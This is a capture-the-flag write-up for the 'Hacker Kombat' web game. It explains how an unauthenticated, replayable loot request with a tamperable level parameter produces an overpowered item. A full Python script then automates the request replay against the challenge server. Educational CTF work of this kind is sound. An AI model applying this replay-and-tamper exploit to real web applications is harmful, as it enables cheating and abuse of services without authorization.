Hacker Kombat (THE GAME)  - Web Challenge 

For this challenge as the description tells us, we should “Win an unwinnable game to receive the flag!” And it also says, “The developer has left in some bugs!”

So, let’s find the bugs! The first thing we can notice is that every actions, attack, special, item or run, calls the same endpoint, "/engine.php".

In the example above, we can see that for an attack request, the parameter char defines the action we want to do (Attack, special, item or run), we can also note the presence of a token in the request. Now let's analyze the response of this request.

We can see that the server returns the following information

  • l  The amount of damage inflicted on the opponent (dmg)
    • l  The number of damages received (counter)
      • l  And another token!

        Token that will be used in the next request to authenticate us, rather secure. But then, where are the bugs?

        I decided to execute all possible actions in the game to study all requests. And there is a request that doesn't seem to need a token.

        Indeed, when we win a round, a loot is given us. And if I send back the same request, the server thinks that I have just beaten another opponent and gives me another loot!

        We will also notice the presence of the parameter data, which is there to tell the server the level of the next person that we're going to fight and give me a proportional loot.

        So I decided to send a request to the server to tell it that I'm going to fight an enemy of level 10000000.

        Surprisingly! I received "+10480853 bomb". Which when using one shot my level 3 opponent.

        As I don't know how many rounds there is in total before I could get the flag, I decided to code a script in python to automate all the actions of the game for me.

        This is where the strategy comes in. As a bomb of level 10000000 one shot all the opponents, the coded script will at each round, abuse of the loot function until I got a bomb, then throw it on the opponent, get the new token and start again the procedure in an infinite loop until obtaining the flag.

        GAME OVER!

        Here is the script that I made (don't forget to replace your session_ID):

        import requests
        import re
        import urllib.parse
        
        def init():
         generateEnemie()
         token = generateHero()
         getFlag(token)
        
        def getFlag(token):
          #How many round?
          n = 0
          while True:
            if (n % 2) == 0:
              nbBomb = actionGetBomb()
            else:
              result = actionUseBomb(token, nbBomb).split('&')
              if result[0] != 'dmg=next':
                print('GAME OVER => {}'.format(result[0].split('=')[1]))
                break
              token = result[1].split('=')[1]
            n+=1
        
        def  actionUseBomb(token, nbBomb):
          data = 'action=update&char=item&data={}&token={}'.format(nbBomb, token)
          response = sendRequest(data)
          if response.status_code == 200:
            return response.content.decode('utf-8')
        
        def actionGetBomb():
          data = {
            'action': 'generate',
            'char': 'loot',
            'data': '1000000000000000'
          }
          response = sendRequest(data)
          if response.status_code == 200:
            lootName = re.findall('[a-zA-Z]+', response.content.decode('utf-8'))[0]
        
            if lootName != 'bomb':
              return actionGetBomb()
            return urllib.parse.quote(response.content.decode('utf-8').replace('%20', '+'))
        
        def generateHero():
          data = {
            'action': 'generate',
            'char': 'hero',
            'data': '0'
          }
          response = sendRequest(data)
          if response.status_code == 200:
            return response.content.decode('utf-8')
        
        def generateEnemie():
          data = {
            'action': 'generate',
            'char': 'enemies',
            'data': '0'
          }
          response = sendRequest(data)
          return response.status_code
        
        def sendRequest(data):
          cookies = {
            'PHPSESSID': '177158ce9253105d6c06bad6d30e5d36', # Replace this.
          }
        
          headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.5',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With': 'XMLHttpRequest',
            'Origin': 'https://challenges.ctfd.io:30092',
            'Connection': 'keep-alive',
            'Referer': 'https://challenges.ctfd.io:30092/Hacker%20Kombat%20(THE%20GAME)/',
          }
          response = requests.post('https://challenges.ctfd.io:30092/Hacker%20Kombat%20(THE%20GAME)/engine.php', headers=headers, cookies=cookies, data=data, verify=False, timeout=2)
          return response
        
        if __name__ == '__main__':
          init()